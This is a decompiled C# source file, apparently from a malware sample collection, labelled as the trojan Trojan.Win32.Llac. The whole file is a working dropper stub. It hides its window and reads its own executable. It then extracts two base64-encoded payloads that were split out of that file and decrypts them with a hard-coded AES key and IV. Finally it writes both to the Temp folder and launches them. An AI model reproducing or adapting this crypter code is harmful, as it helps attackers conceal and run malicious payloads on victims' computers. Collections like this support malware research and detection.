MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.csye-7764f4aeaf305a644b70f22beaf51cde681b4e6fbc68c3e4bcfa2c979a7348ed/Form1.cs

// Decompiled with JetBrains decompiler
// Type: stub.Form1
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3D682C4E-BB75-4F82-AFDC-65E8B4031409
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.csye-7764f4aeaf305a644b70f22beaf51cde681b4e6fbc68c3e4bcfa2c979a7348ed.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using stub.My;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Security.Cryptography;
using System.Windows.Forms;

namespace stub
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private IContainer components;

    [DebuggerNonUserCode]
    public Form1()
    {
      this.Load += new EventHandler(this.Form1_Load);
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.SuspendLayout();
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(284, 262);
      this.Name = nameof (Form1);
      this.Opacity = 0.0;
      this.ShowInTaskbar = false;
      this.Text = nameof (Form1);
      this.ResumeLayout(false);
    }

    public byte[] unsecure(byte[] data)
    {
      using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
      {
        rijndaelManaged.IV = new byte[16]
        {
          (byte) 1,
          (byte) 2,
          (byte) 3,
          (byte) 4,
          (byte) 5,
          (byte) 6,
          (byte) 7,
          (byte) 8,
          (byte) 9,
          (byte) 1,
          (byte) 2,
          (byte) 3,
          (byte) 4,
          (byte) 5,
          (byte) 6,
          (byte) 7
        };
        rijndaelManaged.Key = new byte[16]
        {
          (byte) 7,
          (byte) 6,
          (byte) 5,
          (byte) 4,
          (byte) 3,
          (byte) 2,
          (byte) 1,
          (byte) 9,
          (byte) 8,
          (byte) 7,
          (byte) 6,
          (byte) 5,
          (byte) 4,
          (byte) 3,
          (byte) 2,
          (byte) 1
        };
        return rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);
      }
    }

    private void Form1_Load(object sender, EventArgs e)
    {
      try
      {
        string temp = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
        string[] strArray = Strings.Split(File.ReadAllText(Application.ExecutablePath), "[SPLITTER]");
        byte[] data1 = this.unsecure(Convert.FromBase64String(strArray[1]));
        byte[] data2 = this.unsecure(Convert.FromBase64String(strArray[3]));
        MyProject.Computer.FileSystem.WriteAllBytes(temp + "\\" + strArray[2], data1, false);
        MyProject.Computer.FileSystem.WriteAllBytes(temp + "\\" + strArray[4], data2, false);
        Process.Start(temp + "\\" + strArray[2]);
        Process.Start(temp + "\\" + strArray[4]);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.EndApp();
        ProjectData.ClearProjectError();
      }
      ProjectData.EndApp();
    }
  }
}